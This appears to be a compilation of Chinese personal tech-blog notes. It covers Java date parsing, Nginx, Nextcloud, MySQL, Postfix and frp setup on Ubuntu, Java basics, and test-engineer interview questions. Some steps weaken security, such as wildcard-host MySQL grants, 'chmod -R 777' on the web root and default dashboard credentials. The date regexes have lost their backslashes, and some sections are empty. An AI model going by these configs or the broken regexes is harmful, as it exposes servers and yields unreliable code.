"d{4}/d{2}/d{2}sd{2}:d{2}:d{2}", "d{4}/d{2}/d{2}sd{1}:d{2}:d{2}", "d{4}/d{1}/d{2}sd{2}:d{2}:d{2}", "d{4}/d{1}/d{2}sd{1}:d{2}:d{2}", "d{4}/d{2}/d{2}sd{2}:d{2}", "d{4}/d{2}/d{2}sd{1}:d{2}", "d{4}/d{1}/d{2}sd{2}:d{2}", "d{4}/d{1}/d{2}sd{1}:d{2}", "d{4}/d{2}/d{2}sd{2}", "d{4}/d{2}/d{2}sd{1}", "d{4}/d{1}/d{2}sd{2}", "d{4}/d{1}/d{2}sd{1}", "d{2}月d{2}日sd{2}时d{2}分d{2}秒", "d{2}月d{2}日sd{1}时d{2}分d{2}秒", "d{1}月d{2}日sd{1}时d{2}分d{2}秒", "d{1}月d{2}日sd{2}时d{2}分d{2}秒", "d{2}月d{2}日d{2}时d{2}分d{2}秒", "d{2}月d{2}日sd{2}时d{2}分", "d{1}月d{2}日sd{2}时d{2}分", "d{1}月d{2}日sd{1}时d{2}分", "d{1}月d{2}日sd{2}时d{2}分", "d{2}月d{2}日d{2}时d{2}分", "d{2}月d{2}日sd{2}时", "d{2}月d{2}日sd{1}时", "d{1}月d{2}日sd{2}时", "d{1}月d{2}日sd{1}时", "d{2}月d{2}日d{2}时", "d{4}年d{2}月d{2}日", "d{2}月d{1}日", "d{4}年d{1}月d{2}日", "d{1}月d{1}日", "d{2}月d{2}日sd{2}:d{2}:d{2}", "d{2}月d{2}日sd{2}:d{1}:d{2}", "d{1}月d{2}日sd{2}:d{1}:d{2}", "d{1}月d{2}日sd{2}:d{2}:d{2}", "d{2}月d{2}日d{2}:d{2}:d{2}", "d{2}月d{2}日sd{2}:d{2}", "d{2}月d{2}日sd{1}:d{2}", "d{1}月d{2}日sd{2}:d{2}", "d{1}月d{2}日sd{1}:d{2}", "d{2}月d{2}日d{2}:d{2}", "d{2}月d{2}日sd{2}", "d{2}月d{2}日sd{1}", "d{1}月d{2}日sd{2}", "d{1}月d{2}日sd{1}", "d{2}月d{2}日d{2}", "d{2}-d{2}sd{2}:d{2}:d{2}", "d{2}-d{2}sd{1}:d{2}:d{2}", "d{1}-d{2}sd{2}:d{2}:d{2}", "d{1}-d{2}sd{1}:d{2}:d{2}", "d{2}-d{2}sd{2}:d{2}", "d{2}-d{2}sd{1}:d{2}", "d{2}-d{2}sd{2}", "d{4}-d{2}-d{2}", "d{2}-d{1}", "d{4}-d{1}-d{2}", "d{1}-d{1}", "d{2}-d{2}sd{2}时d{2}分d{2}秒", "d{2}-d{2}sd{1}时d{2}分d{2}秒", "d{1}-d{2}sd{2}时d{2}分d{2}秒", "d{1}-d{2}sd{1}时d{2}分d{2}秒", "d{1}-d{1}sd{1}时d{2}分d{2}秒", "d{2}-d{2}sd{2}时d{2}分", "d{2}-d{2}sd{1}时d{2}分", "d{1}-d{2}sd{2}时d{2}分", "d{1}-d{2}sd{1}时d{2}分", "d{2}-d{2}sd{2}时", "d{2}-d{2}sd{1}时", "d{1}-d{2}sd{2}时", "d{1}-d{2}sd{1}时", "d{4}.d{2}.d{2}", "d{2}.d{1}", "d{4}.d{1}.d{2}", "d{1}.d{1}", "d{2}.d{2}sd{2}:d{2}:d{2}", "d{2}.d{2}sd{1}:d{2}:d{2}", "d{1}.d{2}sd{2}:d{2}:d{2}", "d{1}.d{2}sd{1}:d{2}:d{2}", "d{1}.d{1}sd{1}:d{2}:d{2}", "d{2}.d{2}sd{2}:d{2}", "d{2}.d{2}sd{1}:d{2}", "d{1}.d{2}sd{2}:d{2}", "d{1}.d{2}sd{1}:d{2}", "d{2}.d{2}sd{2}", "d{2}.d{2}sd{1}", "d{1}.d{2}sd{2}", "d{1}.d{2}sd{1}", "d{2}/d{2}sd{2}时d{2}分d{2}秒", "d{2}/d{2}sd{1}时d{2}分d{2}秒", "d{1}/d{2}sd{2}时d{2}分d{2}秒", "d{1}/d{2}sd{1}时d{2}分d{2}秒", "d{2}/d{2}sd{2}时d{2}分", "d{2}/d{2}sd{1}时d{2}分", "d{1}/d{2}sd{2}时d{2}分", "d{1}/d{2}sd{1}时d{2}分", "d{2}/d{2}sd{2}时", "d{2}/d{2}sd{1}时", "d{1}/d{2}sd{2}时", "d{1}/d{2}sd{1}时", "d{2}/d{2}", "d{2}/d{1}", "d{1}/d{2}", "d{1}/d{1}", "d{2}/d{2}sd{2}:d{2}:d{2}", "d{2}/d{2}sd{1}:d{2}:d{2}", "d{1}/d{2}sd{2}:d{2}:d{2}", "d{1}/d{2}sd{1}:d{2}:d{2}", "d{2}/d{2}sd{2}:d{2}", "d{2}/d{2}sd{1}:d{2}", "d{1}/d{2}sd{2}:d{2}", "d{1}/d{2}sd{1}:d{2}", "d{2}/d{2}sd{2}", "d{2}/d{2}sd{1}", "d{1}/d{2}sd{2}", "d{1}/d{2}sd{1}", }; String str = ""; Date date = null; for (String reg : regs) { String temp = match(reg, stringTime); if (temp.length() > str.length()) { str = temp; if (!"".equals(str)) { // System.err.println(reg); date = formatDate(str); } } } return date; } public static String match(String reg, String stringTime) { Pattern p = Pattern.compile(reg); Matcher m = p.matcher(stringTime); String s = ""; if (m.find()) { s += m.group(); } return s; } public static String addMonth(String time) { SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd"); Date date = parseDate(time); date = DateUtils.addDays(date, 1); String first = df.format(date); return first; } /* * public static void main(String[] args) { // String * str="Thu Sep 08 2011 00:00:00 GMT+0800 "; String * str="Thu May 28 14:45:43 +0800 2015"; SimpleDateFormat sdf=new * SimpleDateFormat("EEE MMM dd HH:mm:ss +0800 yyyy",Locale.ENGLISH); try { * Date date = sdf.parse(str); String time = DateToString(date); * System.err.println(date); System.err.println(time); } catch * (ParseException e) { e.printStackTrace(); } } */ public static void main(String[] args) { String stringTime = "2021/1/2 9:20:35 2021/1/2 21:20:35"; Date date = cutDate(stringTime); System.out.println(date); System.out.println(DateToString(date)); } } ### frp开启仪表盘 进入frp根目录,输入下面的配置,重启 [common] dashboard_port = 6666 # dashboard 用户名密码,默认都为 admin dashboard_user = username dashboard_pwd = password #bind_port = 7000 同时要到服务器安全组开启66665端口对外开放 ### 解决Ubuntu 20.04 远程连接-Authentication Required 创建文件并输入下面的参数  /etc/polkit-1/localauthority/50-local.d/45-allow-colord.pkla  [Allow Colord all Users] Identity=unix-user:* Action=org.freedesktop.color-manager.create-device;org.freedesktop.color-manager.create-profile;org.freedesktop.color-manager.delete-device;org.freedesktop.color-manager.delete-profile;org.freedesktop.color-manager.modify-device;org.freedesktop.color-manager.modify-profile ResultAny=no ResultInactive=no ResultActive=yes ### Ubuntu20.04 连接远程桌面黑屏 原因:有多个用户连接远程桌面,导致远程连接黑屏 解决方法:重启,或者登录Ubuntu系统桌面注销掉其他远程桌面用户 然后在登录远程桌面 ### 犹豫了好久还是买了个树莓派4B 4G 树莓派 戴尔服务器用着挺方便,就是噪音受不了,又耗电。 2021.7.11 更新 树莓派还是在家里吃灰了。之前的戴尔服务器留了一个CPU,2个8G内存条。重新组装了一个ITX机箱。 ### Idea Java log4j日志打印 POM.xml文件添加jar包 log4j log4j 1.2.17 org.slf4j slf4j-api 2.0.0-alpha1 org.slf4j slf4j-log4j12 2.0.0-alpha1 test 在resources文件下添加log4j.properties ### 设置### log4j.rootLogger = debug,stdout,D,E ### 输出信息到控制抬 ### log4j.appender.stdout = org.apache.log4j.ConsoleAppender log4j.appender.stdout.Target = System.out log4j.appender.stdout.layout = org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n ### 输出DEBUG 级别以上的日志到=E://logs/error.log ### log4j.appender.D = org.apache.log4j.DailyRollingFileAppender log4j.appender.D.File = G://logs/log.log log4j.appender.D.Append = true log4j.appender.D.Threshold = DEBUG log4j.appender.D.layout = org.apache.log4j.PatternLayout log4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n ### 输出ERROR 级别以上的日志到=E://logs/error.log ### log4j.appender.E = org.apache.log4j.DailyRollingFileAppender log4j.appender.E.File =G://logs/error.log log4j.appender.E.Append = true log4j.appender.E.Threshold = ERROR log4j.appender.E.layout = org.apache.log4j.PatternLayout log4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n 代码 package saiita.com.cn.saiita_com_cn; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*; import java.io.IOException; import org.apache.log4j.Logger; @WebServlet(name = "HelloServlet1", value = "/hello-servlet-1") public class HelloServlet1 extends HttpServlet { private static Logger logger = Logger.getLogger(HelloServlet1.class); @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { System.out.println("11111111111"); logger.info("1234"); } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { System.out.println("11111111111"); logger.info("doPost"); } } ### Idea Web Output输出台乱码,JSP乱码 Tomcat的conf文件夹下面的logging.properties配置项UTF-8都改成GBK JSP乱码 request和response request.setCharacterEncoding("utf-8"); response.setCharacterEncoding("utf-8"); response.setContentType("text/html;charset=utf-8"); ### Idea 添加Java web 项目 1)新建项目,选择Java Enterprse 2)相关配置 配置JDK Project template 选择Web application Application server 选择Tomcat (自己下载的tomcat 文件夹) 3)选择web profile 4)填写项目名称,下一步 5)运行 点击菜单的run ### C++ 解决报:必须定义入口点问题 1:打开解决方案右键项目-->属性 2:配置属性-->常规-->配置类型,选择动态库(.dll) 3:重新生成.点击右键项目"重新生成" ### Ubuntu 14.04的mysql开通远程连接 1:找到/etc/mysql/mysql.cnf 文件,打开把 bind-address =127.0.0.1注释掉,重启数据库(/etc/inint.d/mysql start) 2:输入 mysql -u root -p,输入数据库的密码。 3:输入grant all privileges on *.* to username@"%" identified by "password" with grant option;(不安全的远程连接) 下面是安全的远程连接 GRANT ALL PRIVILEGES ON *.* TO 'root'@'IP' IDENTIFIED BY '' WITH GRANT OPTION; 说明 username是用户名 password是密码 IP是PC远程连接数据库的IP 再输入flush privileges; 4:远程PC上用Navicat创建连接,输入Ubuntu系统的IP地址,useranme,password。 就可以远程连接Ubuntu上的Mysql数据库了 ### 树莓派(Ubuntu)安装经典版eclipse(web) 1:首先打开Ubuntu系统的终端命令工具,输入sudo apt-get install eclipse. 2:安装好之后的eclipse是没有web插件的,需要安装相关web插件,打开eclipse。 Help->Install New Softwar 在work with 栏 选择 http://download.eclipse.org/releases/galileo ,点击Add,然后等一段时间 3:会有很多选项,选择Web,XML,and Java EE Development 4:选择 Eclipse Java EE Developer Tools Eclipse Web Developer Tools Eclipse XML Editors and Tools JST Server Adapters JST Server Adapters JST server UI JST Web UI Web Page Editor(Optional) 如果少了什么插件,我会补充上去 5:点击Next等待一会(时间会长一点) ### 树莓派+Windows+Github协同开发环境部署(一) 1:注册GIThub账号 打开电脑上的浏览器 填写好用户名、邮箱、密码 点击Sign up即可简单地注册 就完成第一步了 2:注册好账户后,创建项目,点击下图红框内的New repository. 创建项目 3:填写项目信息(公开的的项目是免费的,但是私有项目是收费的) 填写项目名称 4:记住Github项目地址 Github注册账户,创建项目就已经完成了,下一篇就是主要描述怎么在Eclipse添加egit插件。 ### Ubuntu系统的文件操作 1.删除文件 rm -r 文件名 目标文件路径 比如 rm -r test /home/a/test test 是要删除的文件 ,/home/a/test是需要删除的路径。 2.移动文件 mv 文件名 目标文件路径 比如 mv test /home/a/test test 是要移动的文件 ,/home/a/test是需要移动的路径。 3.复制文件 cp -r 文件名 目标文件路径 比如 cp -r test /home/a/test test 是要复制的文件 ,/home/a/test是需要复制的路径。 文件操作需要进入su模式,如果上面有错误,欢迎指正。 ### 树莓派(Ubuntu)邮件服务器环境搭建(一) 环境搭建和发邮件 收邮件要域名(研究中),会在下一篇介绍,第三篇介绍主要介绍怎么搭建web形式的邮件 1:安装Postfix apt-getinstallpostfix 安装过程中会需要设置配置,会跳出Internet Site,System mail name填写xx.com(设不设置没什么卵用,没域名,哈哈)。 之后postfix安装完毕并且启动了。 2:安装 mailutils,发邮件需要用到 sudo apt-get install mailutils 3:启动Postfix服务 输入 /etc/init.d/postfix start [....] Starting postfix (via systemctl): postfix.service==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units === Authentication is required to start 'postfix.service'. Authenticating as: 树莓派的用户名,,, (树莓派的用户名) Password: 然后输入密码 ==== AUTHENTICATION COMPLETE === . ok 这样就启动成功了 4:测试发邮件 第一种方法(这种方法收到的邮件没有邮箱地址): 输入 echo "Mail Content" | mail -s "Mail Subject" xx@xx.com 命令行 Mail Content 是邮件内容 Mail Subjece 是邮件标题 xx@xx.com是要发给谁的邮件地址 第二种方法: 输入 telnet localhost 25 输入 mail from:xx@xxx.com 回车 输入 rcpt to:xx@xx.com 回车 输入 data (这个是输入邮件内容) 输入 . 输入 quit (退出) 然后登陆外网的邮件 查看收到的邮件。 目前不能从外网发邮件到内网。 5:登陆邮箱查看是否收到邮件 注意 没内网穿透发局域网的邮件(发outlook邮件),我的是用花生壳设置了内网穿透可以直接发邮件,像QQ,163 发送过去的邮件一般都在垃圾邮件里面 这样就成功了一半 在安装Postfix之前需要关闭或者卸载Sendemail /etc/init.d/postfix start 启动服务 /etc/init.d/postfix stop 停止服务 /etc/init.d/postfix restart 重启服务 ### Date类Calendar日历类 Date 日期类 创建Date对象Date() 获取当前的系统long time=System.currentTimeMillis();Date(long date);Date(int year, int month, int date) 普通方法: void setYear(int year)int getYear()void setMonth(int month)int getMonth()void setDate(int date)int getDate() Calendar 日历类(抽象类) 创建Calendar对象方式1: 调用自己的静态方法static Calendar getInstance()Calendar c=Calendar.getInstance();方式2:通过子类 GregorianCalendarCalendar c=new GregorianCalendar(); 普通方法: set(字段,值)//eg: set(Calendar.YEAR,2014)get(字段)//eg: int year=c.get(Calendar.YEAR);set(int year,int month ,int day) ### Nginx开启压缩功能 vim /etc/nginx/nginx.conf 去掉前面的#号,去掉注释 # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 然后重启Nginx,sudo systemctl restart nginx ### Nginx代理apache2折腾笔记 apache2上面有php服务器已经配置好的。只是想用Nginx代理apache2. Nginx上有Tomat服务器,代理后就相当于有PHP服务器,JSP服务器,还有一个静态博客 1:修改apache2端口 vim /etc/apache2/ports.conf 添加下面代码 NameVirtualHost *:9000 Listen 9000 2:vim sites-available/000-default.conf 先删除原先的代码,把下面代码复制进去 ServerName nextcloud.saiita.cn ServerAdmin webmaster@localhost DocumentRoot /var/www/nextcloud ErrorLog ${APACHE_LOG_DIR}/error.log # Possible values include: debug, info, notice, warn, error, crit, # alert, emerg. LogLevel warn CustomLog ${APACHE_LOG_DIR}/access.log combined 3:安装nginx sudo apt-get install nginx 4:vim /etc/nginx/sites-enabled/defult 删除原先的配置代码,把下面代码复制进去 # Hexo 博客 server { listen 80; listen [::]:80; server_name www.saiita.cn; root /var/www/blog/public; index index.html; location / { try_files $uri $uri/ =404; } } #Tomcat 服务器 server { listen 80; listen [::]:80; server_name map.saiita.cn; root /var/www/map/webapps/ROOT; index index.html index.jsp index.jspx; location ~ .(jsp|jspx|do|action)?$ { #==========Nginx提供的代理============ proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Server $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #=== 如果遇到.jsp .jspx .do .action 的请求就进入该服务器(tomcat)=== proxy_pass http://map.saiita.cn:8080; } location / { try_files $uri $uri/ =404; } } # nextcloud server { listen 80; server_name nextcloud.saiita.cn; location / { proxy_pass http://localhost:9000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_redirect off; } } # phpmyadmin #server { # listen 80; # server_name phpmyadmin.saiita.cn; # location / { # proxy_pass http://localhost:9000; # proxy_set_header Host $host; # proxy_set_header X-Real-IP $remote_addr; # proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # proxy_redirect off; # } # } 5:重启相关程序 sudo systemctl restart php7.0-fpm nginx apache2 ### Java介绍和环境配置 Java基础 ① Java出生地: SUN ② Java 创始人:James Gosling ③ Java1991年出现,1995年正式发布 ④ Java的体系架构: JavaSE:标准的桌面应用开发 JavaEE:企业级web开发 JavaME:Android开发 ⑤ 计算机的高级编程语言有两种:编译型和解释型 编译型:将Java代码全部编译成字节码文件。 解释型:读一句运行一句。 Java语句是这两种类型的结合。 ⑥ JVM:Java虚拟机 Java Virtual Machine GC:垃圾回收机制(程序员不用手动操作) ⑦ 安装JDK(java开发工具集),需要配置环境变量 计算机—-属性—-高级系统设置—–配置环境变量——系统配置path(按end将光标定位到最后,加入英文环境下的分号,jdk的bin目录即可。) ⑧ Java文件是以.Java结尾的文件。 ⑨ 使用 cd..返回上一级目录,cd 文件夹 ### 重定向(Java) 什么是重定向 在服务器为浏览器提供响应时,回传的数据包中的状态行里面是302状态码,同时在消息头内会增加一个键值对,名称为Location,值是一个新的URL地址。当这个响应到达浏览器的时候,这一次的请求响应过程并未结束,浏览器遇见302状态码之后,会立即按照Location头信息中指定的URL地址发送新的一个请求,这样一个在接到响应后又立即发出请求的过程叫做重定向。对于客户端用户来讲,中间的变化过程不会被察觉,因为这个过程是由浏览器自动完成的。 重定向原理 出新的一次请求,而请求的地址会从头信息中查找。由于这个新的请求动作是由浏览器发出的,所以浏览器的地址栏上的地址会变成Location消息头中的地址。 如何重定向 由于发回的响应信息由response对象控制,所以使用如下代码即可实现重定向的过程: 1 response.sendRedirect(String url) 该方法的参数值url即Location消息头中的重定向地址。注意,该段代码后面如果还有其他代码的话也会被继续执行的。 ### 文件操作File(Java) isFile()方法 File的isFile方法用于判断当前File对象表示的是否为一个文件 1 boolean isFile() 该方法若返回true,这表示File表示的是一个文件。 length方法 File的length方法用于返回由此抽象路径名表示的文件的长度,其定义为: 1 long length() 该方法返回的long值表示该文件所占用的字节量。 exists方法 File的exists方法用于测试此抽象路径名表示的文件或目录是否存在,其方法定义: 1 boolean exists() 若该File表示的文件或目录存在则返回true,否则返回false。 createNewFile方法 File的createNewFile方法用于当且仅当不存在具有此抽象路径名指定的名称的文件时,原子地创建由此抽象路径名指定的一个新的空文件。 其方法定义: 1 boolean createNewFile() 返回值:如果指定的文件不存在并成功地创建,则返回 true;如果指定的文件已经存在,则返回 false 。 delete方法 File的delete方法用于删除此抽象路径名表示的文件或目录。 其方法定义: 1 boolean delete() 返回值:当且仅当成功删除文件或目录时,返回 true;否则返回 false。 需要注意的是,若次File对象所表示的是一个目录时,在删除时需要保证此为空目录才可以成功删除(目录中不能含有任何子项)。 isDirectory() File的isDirectory方法用于判断当前File对象表示的是否为一个目录 1 boolean isDirectory() 返回值:若File对象表示的是一个目录,则返回true ### Java集合框架 Java提供了一个可以存数一组数据的数据结构,其提供了丰富的方法,在实际开发中往往比数组使用的更广泛。这种数据机构成为集合:Collection. List和Set Collection派生出了2个子接口,一个是List另一个是Set. **List:**称为可重复集,该集合中允许存放重复的元素(重复元素是指并非是同一个元素,而是指equals方法比较为true的元素)。 **Set:**称为不可重复集,所以,该集合中是不能讲相同的元素存入几个两次,。同List,这里相同指的也是2个元素的equals比较结果为true 集合持有对象的引用 集合中存储的都是引用类型的元素,那么引用类型变量实际上存储的是对象的地址,所以实际上集合只存储了元素对象在堆中的地址。而不是将对象本身存入了集合。 contain方法 boolean contains(Object o)该方法会用于判断给定的元素是否被包含在集合中。若包含则返回true,否则返回false。这里需要注意的是,集合在判断释放被包含在集合中是使用元素的equals的比较结果。equals的比较结果。 列如: Collection cells = new ArrayList(); add方法 Colleciton定义了一个add方法用于向集合中添加新元素。该方法定义为: boolean add(E e) 该方法会将给定的元素添加进集合,若添加成功则返回true,否则返回false size,clear,isEmpty方法 size方法用于获取当前集合中的元素总数。该方法定义为:int size() clear方法用于清空集合。该方法定义为:void clear() isEmpty方法用于判断当前集合中是否不 包含元素。该方法定义为:boolean isEmpty() 例如: Collection c = new HashSet(); addAll与contains方法 集合也提供了批处理操作: addAll方法用于将给定集合中的所有元素添加到当前集合中,其方法定义为: boolean addAll(Collection c) 例如: Collection c1 = new ArrayList(); containsAll方法用于判断当前集合是否包含给定集合中的所有元素,若包含则返回true。其方法定义为: boolean containsAll(Collection c) 例如: Collection c1 = new ArrayList(); Iterator迭代器 Collection提供了一个遍历集合的通用方式,迭代器(Iterator)。 获取迭代器的方式是使用Collection定义的方法: Iterator iterator() 迭代器Iterator是一个接口,集合在覆盖Collection的iterator()方法时提供了迭代器的实现。 Iterator提供了统一的遍历集合元素的方式。 hasNext与next方法 迭代器用于遍历集合的两个主要方法: * boolean hasNext():判断集合是否还有元素可以遍历。* E next():返回迭代的下一个元素 遍历集合应遵循“先问后取”的方式,也就是说,应当在确定hasNext()方法的返回值为true的情况下再通过next()方法取元素。 由此可以看出,使用迭代器遍历集合是通过boolean值驱动的,所以它更适合使用while循环来遍历。 例如: Collection c = new HashSet(); remove方法 迭代器还提供了一个方法:void remove()。该方法用于删除迭代器当次从集合中获取的元素。若我们在迭代过程中想删除集合元素时,我们就需要通过该方法来进行。这里需要注意,在使用迭代器遍历集合时是不能通过集合自身提供的remove方法删除元素的,否则迭代器在迭代时会抛出异常。 例如: Collection c = new HashSet(); 增加for循环 Java5.0之后推出了一个新的特性,增强for循环,也称为新循环。该循环不通用于传统循环的工作,其只用于便利集合或数组。 语法: for(元素类型 e : 集合或数组){ 新循环并非新的语法,而是在编译过程中,编译器会将新循环转换为迭代器模式。所以新循环本质上是迭代器。 例如: Collection c = new HashSet(); 泛型机制 泛型是Java SE 5.0引入的特性,泛型的本质是参数化类型。在类、接口和方法的定义过程中,所操作的数据类型被传入的参数指定。 Java泛型机制广泛的应用在集合框架中。所有的集合类型都带有泛型参数,这样在创建集合时可以指定放入集合中的对象类型。Java编译器可以据此进行类型检查,这样可以减少代码在运行时出现错误的可能性。 我们来举个例子,比如ArrayList,其在定义时是这样的: public class ArrayList { 由此我们可以看出,再声明ArrayList时,类名的右侧有一个。"<>"表示泛型,而其中可以使用数字字母下划线(数字不能的第一个字符)来表示泛型的名字。(通常我们使用一个大写字母来表示,当然这个不是规定。)这时,在类中声明的方法的参数,返回值类型可以被定义为泛型。这样在创建对象时可以将类型作为参数传递,此时,类定义所有的E将被替换成传入的参数。 例如: ArrayList list = new ArrayList();//泛型E在这里被指定为String类型 集合操作-线性表 List List接口是Collection的子接口,用于定义线性表数据结构;可以将List理解为存放对象的数组,只不过其元素个数可以动态的增加或减少。并且List是可重复集,这个我们在以前的章节已经描述。 ArrayList和LinkedList List接口的两个常见实现类为ArrayList和LinkedList,分别用动态数组和链表的方式实现了List接口。 可以认为ArrayList和LinkedList的方法在逻辑上完全一样,只是在性能上有一定的差别,ArrayList更适合于随机访问而LinkedList更适合于插入和删除;在性能要求不是特别苛刻的情形下可以忽略这个差别。 get和set方法 List除了继承Collection定义的方法外,还根据其线性表的数据结构定义了一系列方法,其中最常用的就是基于下标的get和set方法。 * E get(int index):获取集合中指定下标对应的元素,下标从0开始。 例如: List list = new ArrayList(); 插入和删除 List根据下标的操作还支持插入与删除操作: void add(int index,E element): 将给定的元素插入到指定位置,原位置及后续元素都顺序向后移动。 E remove(int index): 删除给定位置的元素,并将被删除的元素返回。 例如: List list = new ArrayList(); subList方法 List的subList方法用于获取子List。 需要注意的是,subList获取的List与原List占有相同的存储空间,对子List的操作会影响的原List。 List subList(int fromIndex, int toIndex); fromIndex和toIndex是截取子List的首尾下标(前包括,后不包括) 。 例如: List list = new ArrayList(); List转换为数组 List的toArray方法用于将集合转换为数组。但实际上该方法是在Collection中定义的,所以所有的集合都具备这个功能。 其有两个方法: Object[] toArray() 其中第二个方法是比较常用的,我们可以传入一个指定类型的数组,该数组的元素类型应与集合的元素类型一致。返回值则是转换后的数组,该数组会保存集合中所有的元素。 例如: List list = new ArrayList(); 数组转换为List Arrays类中提供了一个静态方法asList,使用该方法我们可以将一个数组转换为对应的List集合。 其方法定义为: static List asList 返回的List的集合元素类型由传入的数组的元素类型决定。 需要注意的是,返回的集合我们不能对其增删元素,否则会抛出异常。并且对集合的元素进行的修改会影响数组对应的元素。 例如: String[] strArr = { "a", "b", "c" }; ### Nginx配置PHP pathinfo ### JAVA常见的几种排序方法 JAVA中常用的排序有:冒泡排序,快序排序,选择排序,插入排序,基数排序,鸡尾酒排序,桶排序,鸽巢排序等等. 冒泡排序 快序排序 JAVA 主方法 运行结果 选择排序 JAVA 主方法 运行结果 插入排序 JAVA 主方法 运行结果   ### 测试用例的基本概念(一) 测试用例基本概念,执行测试之前写的指导测试过程的文档,包括:编号,测试目的,用例描述,预期结果 写用例需要什么东西 相关文档(需求,用户,开发文档) 结合开发出的软件 讨论 编写用的方法 等价类划分 边界值 因果图 判定表 正交排列法 场景法 测试大纲方法 状态转换图 等价类划分 等价类划分属于典型的功能测试方法,根据程序对数据的要求,把程序的输入域划分成若干个部分,区分出那些数据是有效的,那些数据是无效的,从每个部分中选取少数代表性数据作为测试用例。这样,每一类的代表性数据在测试中的作用都等价于这类中的其他值 等价划分基本概念 1. 应用场合 只要有数据输入的地方,可以使用,从无限多的数据中选取少数碉堡性的数据进行测试。 2.核心概念 - 有效等价类 对程序规格有意义,合理的输入数据集合程序接收道有效等价类数据,可以正确执行,计算 - 无效等价类 对程序规格无意义,不合理的输入数据集合,程序接收到无效等价类数据,应该给出错误提示,或者根本不让用户输入。 使用等价类划分编写用例 1.首先:明确测试对象,对于初学者,先一个控件一个控件去测,在测一个控件的时候,保证其他控件不要出错 2.根据需求,划分等价类 - 有效等价类 - 无效等价类 3.细化等价类 - 把第一步中不是特别细致的部分在详细划分 - 有些情况不是根据显式需求,而是根据数据存储方式的理解 说明: - 数据在计算机中采用补码存储,而正数和负数的补码计算公式不同,所以需要把正数和负数单独测试 - 非整数可以再进行细化:小数,字母,符号,汉字 - 建立等价类表 编号 | 数据要求 ---|--- 1 | -100 ---0 2 | 0 ---100 4.编写用例 从每个等价类中至少选取一个数据作为代表进行测试即可 5.穷举测试是不现实的,但不做穷举测试会有风险。编写用例的方法,就是使用更合理的数据,在最小测试成本情况下,尽可能的降低风险。假如时间充分,或者对有些地方数据有风险,可以把它作为测试用例。 测试用例主要记录了测试的过程,步骤,输入额数据,预期结果等内容。它是在执行测试之前由测试人员编写的指导测试的重要文档 解决要测什么,怎么测和如何衡量的问题 参考相关文档 需求文档 开发文档 用户手册 如果有软件的早期版本,尽快熟悉软件的使用 与相关人员讨论 ### 网易游戏手游测试面试总结 1:自我介绍 2:为什么要离职(发现比较大的互联网都喜欢问这个,好神奇) 3:在组里工作内容 4:会根据简历来提问 5:会什么计算机语言 6:玩什么游戏 7:根据网易手游提出问题 8:网易会加班是否接受 9:还有什么要提问的 10:结束 组里工作内容 1:会问工作内容 2:测试软件框架 3:脚本用什么语言编写的 4:用什么语言写过什么脚本 玩游戏 1:玩什么游戏 2:玩游戏时间有多久 3:游戏的模式有那些 4:你最喜欢玩什么模式 5:为什么你喜欢玩这种游戏 6:有玩过网易的手游吗 网易手游提问题 1:让你测试阴阳师抽啥的,SSS什么的 2:如何测试阴阳师抽东西遇到的问题 3:如何测试 ### 总结支付宝-蚂蚁金服(电话面试) 支付宝-蚂蚁金服 自我介绍 对支付宝的了解 为什么要离职,为什么要进支付宝 在原来的公司做过什么项目 做过什么项目: 这个项目要解决的问题是什么? 这个项目的难点是什么? 为什么出现BUG? 这个项目的内容是什么? 项目的主要工作是什么? ### 自动化测试工厂-AutoSpace ### Ubuntu搭建Nginx-Nextcloud环境 1、环境部署与安装 安装mysql-server sudo apt-get install mysql-server 创建数据库名 create database nextcloud 查看数据名称 show databases 安装PHP7.4 sudo apt-get install php7.4-* 安装Nginx sudo apt-get install nginx 下载最新nextcloud版本 最新版本可以百度nextcloud官网下载 wget https://download.nextcloud.com/server/releases/nextcloud-24.0.1.tar.bz2 复制nextcloud文件夹,我复制到的是/var/www/文件夹下面 cp -r nextcloud /var/www/ 进入nextcloud文件夹下面,创建data文件夹,作用是用来存储上传的文件的. sudo mkdir data 配置文件夹权限 chmod -R 777 nextcloud/ sudo chown -R www-data:www-data nextcloud 2、Nextcloud Nginx相关配置 首先打开配置文件 vim /etc/nginx/nginx.conf 在http{}里面添加下面配置 # set client body size to 2M # client_max_body_size 512M; 重启nginx sudo systemctl restart nginx 3、Nginx配置PHP,nextcloud vim /etc/nginx/nginx.conf Nginx配置PHP #PHP 服务器 server { listen 80; listen [::]:80; server_name nextcloud.saiita.cn; root /var/www/nextcloud; index index.html index.php *.php; location / { try_files $uri $uri/ =404; } location ~ .php { include snippets/fastcgi-php.conf; # # # With php7.0-cgi alone: # fastcgi_pass 127.0.0.1:9000; # # With php7.0-fpm: fastcgi_split_path_info ^(.+.php)(.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass unix:/run/php/php7.0-fpm.sock; } # deny access to .htaccess files, if Apache’s document root # concurs with nginx’s one # location ~ /.ht { deny all; } } ### Html和CSS基础知识——hr标签,添加水平横线 在信息展示时,有时会需要加一些用于分隔的横线,这样会使文章看起来整齐些。如下图所示: 语法: html4.01版本
xhtml1.0版本
